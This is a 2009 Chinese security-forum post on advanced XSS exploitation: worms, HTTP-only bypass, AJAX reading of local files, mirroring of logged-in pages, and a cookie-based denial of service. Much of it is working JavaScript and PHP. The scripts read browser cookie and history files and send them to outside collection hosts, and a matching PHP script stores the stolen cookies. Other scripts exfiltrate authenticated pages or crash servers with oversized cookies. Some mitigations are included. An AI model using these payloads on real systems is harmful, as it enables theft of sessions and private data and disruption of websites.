XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
' n+ g% c! p( A- ?9 t本帖最后由 racle 于 2009-5-30 09:19 编辑 ' p) k+ J a* z
/ `" B, {( C4 G) a% r! R' U" lXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页& k+ o ~/ i7 t+ P% K, Z
By racle@tian6.com % e$ A" L! ^8 n1 q/ Y) v8 C6 Y
http://bbs.tian6.com/thread-12711-1-1.html
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-------------------------------------------前言---------------------------------------------------------) e+ Y) Y, Q! s) \" K- D @0 r$ l
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4 f. M- L% y3 `& x8 E本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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2 s% k' t) F8 ]) T2 ?# w如果你还未具备基础XSS知识,以下几个文章建议拜读:
& D# x6 j% ?! uhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
& V% S( H- d8 j( Ahttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
/ Q5 E/ B' M* M% J( shttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
. @9 s5 N* e1 Qhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
. v$ \" j; N" W5 p$ Rhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
/ e0 Q: m9 X* {7 S+ f3 s' `) Vhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.% a, L: x1 S; h h3 R
3 W1 D8 d" n. r5 A2 x. `希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大7 U+ E6 m2 A5 F; x0 X9 e
1 ~* g7 ?8 j* N. G, K; H/ ?QQ ZONE,校内网XSS 感染过万QQ ZONE.9 Q0 W$ I$ B" j* S+ K% p
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------: Z) d# Y0 O$ O
9 T& U* \+ s/ x. ~, f( U; {$ S5 Z8 k什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.8 c, Z" a, L7 Z7 l
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到., y, x: V! k# V# P
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9 _9 q9 r! N5 W如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.* J/ X4 q' P& U9 R; ]/ k) k$ C6 {
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
% u# ?4 W$ Z. Y( j我们在这里重点探讨以下几个问题:. K' V2 d6 @- V% W
+ T- [3 k" O5 F: o1 通过XSS,我们能实现什么?
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* w" a$ ~+ J h# x; B! k2 `. q2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?; V `$ \; W- k$ K: P
( ^$ b* r+ s+ P& \1 v4 XSS漏洞在输出和输入两个方面怎么才能避免.7 N0 ~; M' U0 M+ L
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8 | g" f u y- K1 a7 {------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.& S: u% |% l5 U( t- H9 p9 {' k. ~
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫; E' L, A$ [/ A
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
4 R, q0 W! |: A5 E1 o1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则. g7 {$ ^$ F$ U9 r" A9 W% E# L: Y
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
) \* z; ~! p( _. M: D, |" V2 I3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.4 F0 {' M% ]- W% F; d
4:Http-only可以采用作为COOKIES保护方式之一.' ]3 B/ b3 g+ e2 l" ~9 G& A' s
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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' T( }" w4 W: Q# S我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)3 `- N2 G4 H1 ?, i1 X
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。$ T0 W t4 W* x: n2 V
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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p5 r; y& J% ]+ t 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
G& {' ]5 {( K" |; p复制代码IE6使用ajax读取本地文件 <script>
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function ajax_obj(){; ~3 F* e, p3 _
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {$ t1 X5 V7 o4 z' g
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',4 B- _/ [, z( d/ {7 V& i9 H
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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V8 v; i0 Y3 M- p for(var i=0; i<versions.length; i++) {# M" v, ]9 g9 ^. K0 H6 a9 J
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request = new ActiveXObject(versions);
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8 R& P) x3 C, }3 h0 j0 O! c复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>- w1 d% z1 m5 [; u
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function $(x){return document.getElementById(x)}
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function ajax_obj(){8 t& u, |1 o6 V& w6 k5 _: d4 w
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var request = false;
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if(window.XMLHttpRequest) {9 f7 n1 P1 ?. b# y' V& I
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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g+ y( P; B+ n+ u for(var i=0; i<versions.length; i++) {1 @8 ~# c" C; [# v
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try {
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var _x = ajax_obj();- R" t" g' i( O2 i
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8 B; f K% O8 ?1 U4 S! \& P; J _x.open(_m,action,false);
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_x.send(argv);7 O7 i7 v4 T( y0 A
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return _x.responseText;
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var txt=_7or3("GET","1/11.txt",null);" Q" Q+ p& ]0 ]) `. v1 h3 u
/ J* r; D( F+ O- J! o5 Z alert(txt);
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”# a& S' l1 l5 Q% W0 D
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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/* ; x" ? u/ E/ k' x
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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( ?( f: f- @ i9 V4 ^( x author voidloafer@gmail.com 2009-4-22 , N3 v3 G a8 w$ {5 M3 b
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. % z+ p- a, A; X5 n0 u
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header("Content-Disposition: attachment;filename=kxlzx.htm"); : R$ V, \& b$ _* }. U6 a
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header("Content-type: application/kxlzx"); 6 P7 W6 U D+ }9 b( E0 U9 W+ c$ @
) e5 b) l" [ i! v/ C2 v. D4 F/*
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. e, y$ ]7 `& Q/ Z! E set header, so just download html file,and open it at local. : d! }) }1 p& V) z9 L# Y8 v9 y8 W
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?>
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9 Y- U2 Q+ g" V<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden">
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+ ]9 z& Z+ t( P" F! K) o5 G: X. K</form> ) f6 Y; A) I) h$ K% N7 J0 H
, c! p' l* R8 c( J<script> " V! N+ P& l& I
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function doMyAjax(user)
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var time = Math.random(); ; K3 ?, v+ M4 t: z
( M; r& i6 e. P. u. E c/*
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History ) F O" f `9 O4 f7 U8 ?9 y2 e
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and so on...
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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. A& f; [* `' U) w- istartRequest(strPer);
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% I6 x) E( V, j1 nfunction Enshellcode(txt)
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# u( n4 X) }8 w( r$ C3 m{
8 i: B. h1 d/ t# N" l( |
; s2 j& Y& o" U$ Cvar url=new String(txt); ( j4 R3 v a) ?8 o6 w' i5 w
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var i=0,l=0,k=0,curl=""; / x. S7 n$ @3 i; K; W
/ H# H, k; v5 W5 q$ f6 {
l= url.length;
! |3 l9 E# s5 w6 A0 {$ n6 Z) X$ {# {$ ^, w& W) s% D
for(;i<l;i++){ 6 ?- s! G3 b" R
% W; m) c+ ~$ x
k=url.charCodeAt(i); , u& `, x- \, G
6 |; V2 h: Z, f3 W
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} " v8 B. @! O2 a
) s, F% z/ s2 F0 }
if (l%2){curl+="00";}else{curl+="0000";} 5 i3 D8 q" G/ w d& K% Y- m- S
2 E% t! v4 D, n& [( I- hcurl=curl.replace(/(..)(..)/g,"%u$2$1");
( j/ Z0 q, S. r' l$ e+ k
8 ]. h9 d" C* H# e7 c |return curl;
" T8 g" X. q1 w" f
' \$ F6 n7 s% j" j, b; t} ; G N# }( Y! i
% p/ g2 Y5 D5 _, R: p8 Y- }
f! E# C, O& W0 R8 \" A2 ^6 E
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var xmlHttp;
7 X# C9 v6 U, X! ]5 q6 O7 a; S: V: q% P3 O+ G0 R2 Q5 M$ G
function createXMLHttp(){ 6 Q! j& T/ Y+ a D2 B Y
; |: K! E1 K, E/ Q2 Z6 [: q) u" A if(window.XMLHttpRequest){ $ q+ D' V E) R% ~
+ ?3 o0 @5 B: e* j0 r( I
xmlHttp = new XMLHttpRequest();
7 s1 q) B3 ~2 m/ Y' g1 y1 ?5 a6 V+ i* Z% m0 y8 U& D9 y) A
}
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else if(window.ActiveXObject){ , d- N& o& g6 n, p- c' V7 R
" S. \; k9 H1 p# l' j5 YxmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 6 Y2 b# N7 O- c9 Z1 l( |% x
3 W" n4 Y' a+ h; K; T5 J
}
9 _) K* B i" G O9 ^: m) f' o8 J3 U: ?3 ~: J0 U. `
} 8 N0 X5 o6 }2 w7 C
- s- `" S# [) \3 l! e7 r1 o
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3 c. l' `# B8 g- Ffunction startRequest(doUrl){
2 W. K: V( m+ [
4 V. R: C3 G) D6 L$ y7 e5 @+ f+ J , Y" V5 z! W: A0 R! v# n
% `2 j! W' o5 V! N createXMLHttp(); ; S i0 k2 V/ ?. y S
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. }+ s2 U9 B4 _% a* n6 T2 n8 l$ K: p/ \+ C. ^/ x& I( t1 P
xmlHttp.onreadystatechange = handleStateChange; $ F; ^8 o! g B, Y, u% a
* I' c) |. B1 y1 D, h7 t" {: r8 p0 q/ S, @5 O- ]2 [
" E3 g+ P; \* z* F6 K xmlHttp.open("GET", doUrl, true);
; |5 p# N; G4 `; |6 }# |7 n! |! ]5 m4 b2 h- U% C
( W# r! _" x/ ] e: l* ?: v
9 M/ f. C* @+ G$ J xmlHttp.send(null);
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. Y8 W0 L& |. s% a0 o) A+ s0 E7 }
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}
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2 T: p U6 Y @
( U. @) p8 a3 E/ t( L" X
function handleStateChange(){ z( c3 R# K% g, F
/ P( S1 N: s T. U+ B5 \' y if (xmlHttp.readyState == 4 ){ : @: C+ w/ k1 u+ D( t2 x; B
1 G1 j; u O* [7 }9 K$ I+ s, i
var strResponse = ""; - v5 ]- K9 V1 ^+ h
" K) F2 c: K8 e6 v) O6 n7 Z setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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% k1 A6 e) {4 F. U& G+ H3 q( d; A
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}
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5 Y7 k o& ] D8 f* }* y% l}
% H- K& U( }/ ?( K
6 F- D) x4 v: z, D+ A# A; k
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7 `, c% S, a4 @4 z) t7 Ufunction framekxlzxPost(text)
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{ 3 g$ e6 j0 ^& S7 G$ F2 k
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document.getElementById("input").value = Enshellcode(text);
% l/ [. {0 V) ~0 F0 i
# V) D. r1 i: b% W. `* B document.getElementById("form").submit();
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}
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doMyAjax("administrator"); * A! V+ V! t4 F9 _! x% m4 l% ]# j
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: a- f) D `2 L8 j' N" I. b</script>
& B; f7 {- q: B+ c& `* g. i; p复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
, |/ |" ?/ A R* B8 y: s9 {7 f
P! {" A2 f3 }' Uvar xmlHttp;
% \% {5 O8 C% p) p$ B/ v& L: @$ A" L2 s6 Y" I- u
function createXMLHttp(){
! ]3 O& \% U" ]0 [5 E9 Y- ?6 o: G) n2 I1 `; b; c
if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){
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5 D* i1 x8 ]4 `5 ?( l xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ) L* X- y& d% \
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# V# g) I- C$ c
} 6 T( d% Q; Q3 O- a& |. S
3 p3 q7 D7 \" y3 R( s6 x
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function startRequest(doUrl){ ) W' \3 T; K, M( d
9 y) P( o' f) G! v2 [ 9 B8 y; h+ g& V6 D, n/ _" L
0 T, a3 t6 [# ^ k createXMLHttp(); 1 g- k ~# }% h( R/ p5 L
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xmlHttp.onreadystatechange = handleStateChange; ( h. P5 a U F% g& _
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xmlHttp.open("GET", doUrl, true); 9 E: U7 c& l d" u" D
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3 \5 o% k: r) P0 y7 [& {
xmlHttp.send(null); u0 {) R+ B8 \
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} : s2 n5 h3 t' n2 D3 }8 F0 D+ O0 B
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2 N. j( Z- D5 g+ w6 E
# x; w. F0 F1 m4 N( Zfunction handleStateChange(){
* o I) C7 n v" G
- g$ w3 H% _9 K" g8 c if (xmlHttp.readyState == 4 ){ , C3 |& |" ^. p9 Z/ ~' W
, b. S. H7 Y( d0 E
var strResponse = ""; . i# F! S3 A! Z+ C1 J
7 D9 G: h! a# Y5 x
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); & ^8 U6 W+ B$ \ e |% N
4 h( O5 U& T" A4 Q " s3 u8 }0 z/ ]$ P
$ X( E0 C' E, p: F3 ~! I+ x# z( M
}
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}
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2 g B' b! ~: P% _$ g
$ e7 D% @( v2 N7 Efunction doMyAjax(user,file) * b- w4 _* r+ ?3 T: Y" B
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{ 0 M- ^6 Y2 S) w) z( x/ g
% P" B3 ]# y9 w0 m, w3 Z9 Y
var time = Math.random(); 5 l" @0 n$ N+ L( h
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' o$ O7 o4 k3 f: O var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; $ K1 ~8 }7 s6 q1 r4 Q
# @9 b4 t- [6 K/ m1 Y! P; H* M / ^. E2 p/ V |9 V) ?: O
+ D% Z7 Q% p6 S0 H
startRequest(strPer); : \" g# m* U( Z, j" U* j! h* W4 o: ?' @
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} 2 [6 X1 ?- p& g0 B+ s7 _. K
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; U C- K I& v
7 A8 a S7 C! K+ m# C; d% W
function framekxlzxPost(text) 8 Q' J+ e, N& D0 [0 h4 f' m
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{
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$ h$ O/ K- n0 U4 |% W' g* A7 Y document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); - B+ c. G0 h0 S& Y" X
* c& z, B1 u! ~ alert(/ok/);
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}
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1 [; h3 |# L- ^9 B5 V0 g% |4 q - l8 @+ L6 e5 [% T1 c7 ?
/ t0 K- Z" b: z$ j. b, CdoMyAjax('administrator','administrator@alibaba[1].txt');
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</script>
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, O( ~% l0 K" g* y7 ma.php
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<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
4 e6 t1 i/ M/ V$ [% W' i$ P
7 i4 ~; _9 a" t; X1 t) ]$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 8 z( c% _4 [5 R+ Z2 p: m9 y- _
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5 v R, b* m; M9 v% D$ [* @
8 Q9 G' `! C) h9 h7 f$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); ; ?' v4 T" { f; l3 a0 O! r
}$ o- K( K6 |- U% Y! q3 r
fwrite($fp,$_GET["cookie"]); ! h7 J' ?5 ^: r5 y
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fclose($fp);
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?>
/ n, k/ p3 `* l: {/ F0 b复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:6 d# c2 L# `$ m" m
' ]# y1 Y# O4 ~; H" p: Q. X或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
' h n. X% D8 ?利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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* {. ~# y; f3 p' A' K- B$ L代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);# z& l( O% x* Q0 K1 t2 ]& o; X* y! T
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);) U' L; l8 L- r Z5 `, G
' W: n+ y4 Q7 h' y9 I7 }function getURL(s) {# l$ R7 g8 j! |1 x+ n; ^" f/ E K
5 f& K- S9 f, svar image = new Image();7 t, B% X" P; C7 v$ S& u3 s
. ?) T9 K# B+ l/ e3 r
image.style.width = 0;
t( |1 r- L3 B( {! s6 e0 a. }
/ q* s% D. o( x; n d, [image.style.height = 0;
) r" A# o" z$ p0 u+ p* q$ t! r5 K4 i0 b% i* r2 z- u- |! Z
image.src = s;& y {" V$ o/ ^- h- X
% P4 [6 x' p! y7 W}2 N5 t6 S6 }4 p9 |* l1 i
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
U% ]- j) d$ d2 b复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
x* s% ^4 K3 F2 i$ t! U这里引用大风的一段简单代码:<script language="javascript">
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$ d" p( P. r4 ]: Tvar metastr = "AAAAAAAAAA"; // 10 A, R2 N: t5 J* f/ S! H
# H; N/ }) `) A9 X( Tvar str = "";
* B( V$ y( \7 S u5 T" J' T
% ^; i, t {: q5 L, t% e, ywhile (str.length < 4000){
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str += metastr;
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/ s7 }7 l$ @0 `: L* Mdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html8 T+ X7 j) y* b4 l% n! B
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
( X7 d# u- S' x9 iserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150" Q6 @3 e6 M2 Y) c
4 `2 N1 d$ P; ~. r$ Z假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.2 S/ ?$ ]- c: {! A
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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; E2 b8 e7 {: x9 e* ]6 A' m+ c(III) Http only bypass 与 补救对策:9 w4 j- g" |9 F; m' {+ W7 ], S
; Z8 `4 ^. `3 K& X- @什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.& p x" z( z; W. P4 @! v% ]
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
* C, g: i/ o8 I! T" @, J, m3 Q
5 M* j: z# _/ c5 q<!--
% l! c N* d/ I2 [
4 D: s/ F$ U% N, p$ G8 ]! qfunction normalCookie() {
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( u, \0 t5 U: e* p- f, Pdocument.cookie = "TheCookieName=CookieValue_httpOnly"; ; C8 f# H8 ]7 n2 H. a, F
& \+ ], `. p% ]/ F p, U7 T6 @alert(document.cookie); V G1 c* l& n8 h* @2 S
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1 k9 Y) b0 B+ O4 V/ P4 b+ G ?7 c/ U& e0 Q" p% {7 x1 }# `/ E$ u
function httpOnlyCookie() { 7 M5 n+ q8 U5 y& _; o
4 W% n: w; [' F1 s, q
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; - _" O _+ R: L4 T9 x9 l7 J
2 X2 n) w+ A; l/ O4 z7 Z
alert(document.cookie);}
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$ n) k, {% U- u5 ?3 K ?( a/ Q//-->
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</script>
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1 i. h' k" j0 R: S
* g1 Q7 d7 F3 x. s1 Z5 X<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>: `2 ^/ o( d% e7 ^8 q. h4 k& k
) `$ Z3 E1 ^, b& a/ @<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
/ {) h" B$ E$ o& d9 D复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>( L* t+ a0 `+ E( q0 v6 e
8 p7 J+ U7 b8 ]2 ?, G% h3 o6 ~* ]: H
9 q9 H) \ P1 [+ g8 d7 ^
3 @ a5 _, i- x8 ~) }3 ~var request = false;, _. I8 i7 M+ d1 M
" A9 r9 F6 y0 y if(window.XMLHttpRequest) {
! x- L4 P& J0 |& t% j
( }+ ^& P, F0 N5 M' [# v! @4 Y2 k request = new XMLHttpRequest();
7 c/ _& v" E9 x1 k
# q! c% Q5 e( T% g4 [& e2 L1 N if(request.overrideMimeType) {/ q; r. U- k1 M1 Q
$ }* F- }& S$ |. ~* B; ` request.overrideMimeType('text/xml');3 Q7 h6 C/ \. V" p% h1 `+ V
8 i5 r4 O% i0 u& L1 J# W2 W
}7 J2 b1 F4 k1 a, a8 n
# H4 C; {2 S" O# j } else if(window.ActiveXObject) {& c5 H l# v! |2 C# F
: f" k1 A' I* }
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
* k# m9 z9 c/ L: c, H3 u. S" X* o( i C+ N% j
for(var i=0; i<versions.length; i++) {
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# h+ t3 W- L. | try {# t9 |5 t) E3 Z% Y! S3 B
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request = new ActiveXObject(versions);
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} catch(e) {}7 ^# a% r5 k+ ^( C- _; p
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/ ?- z7 V4 z2 W" T# y }
D" h7 J8 W" E2 R6 Q7 {) w- \
5 Q Z8 @/ F! ~2 k) a" U8 vxmlHttp=request;
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xmlHttp.open("TRACE","http://www.vul.com",false);% W9 F, k3 S% G, c" T
U5 ?1 D! X$ ]) a/ ^/ P
xmlHttp.send(null);- d+ {7 O! B8 c8 x
% V/ ?9 |* i, e+ kxmlDoc=xmlHttp.responseText;: V6 R$ P. H1 V4 x# _' o/ {4 {
, u7 i$ ?1 P1 }7 l, w: G9 b
alert(xmlDoc);/ a! d% X t: D; J. `
3 {+ p6 i) {- _7 S- Q8 Z</script>' \( a5 b; E6 |( ]
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
0 J6 V' ~+ a: W! Y1 [2 w' I* v- ~% t' N& w& f
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");) z3 w$ Q2 J4 v7 e5 S$ |" U( E
: v& b/ A: C. d: ~8 @8 l3 K: T6 LXmlHttp.open("GET","http://www.google.com",false);: Y& z7 L3 ^6 _% Q% i: r2 a! P
7 k8 X3 t3 q% O7 ?; l1 ~: GXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");+ I$ j4 L& J1 b+ X P6 ]1 Z! Q
; h/ W9 b. m6 hXmlHttp.send(null);" Q1 Q) A- F7 O# b* p
; D4 H& x% \/ y4 W3 Z0 |var resource=xmlHttp.responseText
# j% {5 }/ f( n! @4 }8 u; H& b! y
% o" g- \4 r- {3 c% bresource.search(/cookies/);
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6 w0 ?7 l) h, J1 D0 S1 }- m......................
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# [! L/ E2 {! B3 ^! v" ^</script>4 r( O7 r; d' g, F3 v3 V/ c7 L
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* `: d& d& O% w
# E/ a! R6 y1 N$ K# ?7 }; B如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求* r9 C2 D$ v. ^0 x: j8 a/ q
; n1 o; r; G: J( ~9 N: i' Y+ j( ][code]
3 r" A7 d/ Q" n5 V- `
, h+ }" ?, k# a0 l. `RewriteEngine On1 s+ N. d1 Z5 @. D: Y6 s
( |) {; }6 r4 j; HRewriteCond %{REQUEST_METHOD} ^TRACE
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, ]5 E# C( [+ q$ |# h6 e- TRewriteRule .* - [F]! g1 A* `3 F$ f1 d9 T
! B+ |5 n4 ~ U: {* N" ~% z( A/ S7 ]9 I* O
% j3 M! ]! B2 T; s- T/ ZSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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acl TRACE method TRACE
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7 O1 H9 \- B9 W...
3 G( J4 k! K& D3 `9 Q4 M
4 {, c* L% V( lhttp_access deny TRACE- [% G1 D% {+ @7 H; @9 w
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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! |% o; R W8 e: w0 {7 Tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");* M1 j" ]) F* B
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XmlHttp.open("GET","http://www.google.com",false);
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, M1 P# F6 |6 q5 F! ?XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");% y) Y1 a; Q3 V/ r z" W4 _. H5 Y
Q. a- T z- q( X( K$ EXmlHttp.send(null);5 \% j, [3 H" n$ B! u
0 z9 Q& e! ~) M& p& Y1 W</script>
4 Y- o9 e. f5 D1 V, \( U# L3 s复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>' q, \0 B; ]6 ]: K7 V$ L0 D
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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6 Y$ @4 z' \& MXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);0 E& P% i* }0 F1 a4 f
4 b/ w1 h( U9 [- `0 x1 cXmlHttp.send(null);
0 U! ~" a( b2 `. m9 N: i0 o3 e( B( x2 O* D" I4 h+ |" |
<script>5 J7 x4 N0 w9 s/ y/ [
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
2 d$ U8 F- u6 G3 T. ^" k; H复制代码案例:Twitter 蠕蟲五度發威$ m& A, y3 V/ d' r c
第一版:
/ P/ q+ A; }, ~0 {1 |5 K 下载 (5.1 KB)
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' G( k( I: Y$ ^1 s, Q" q6 天前 08:27, f8 W. k+ H9 z. E, O
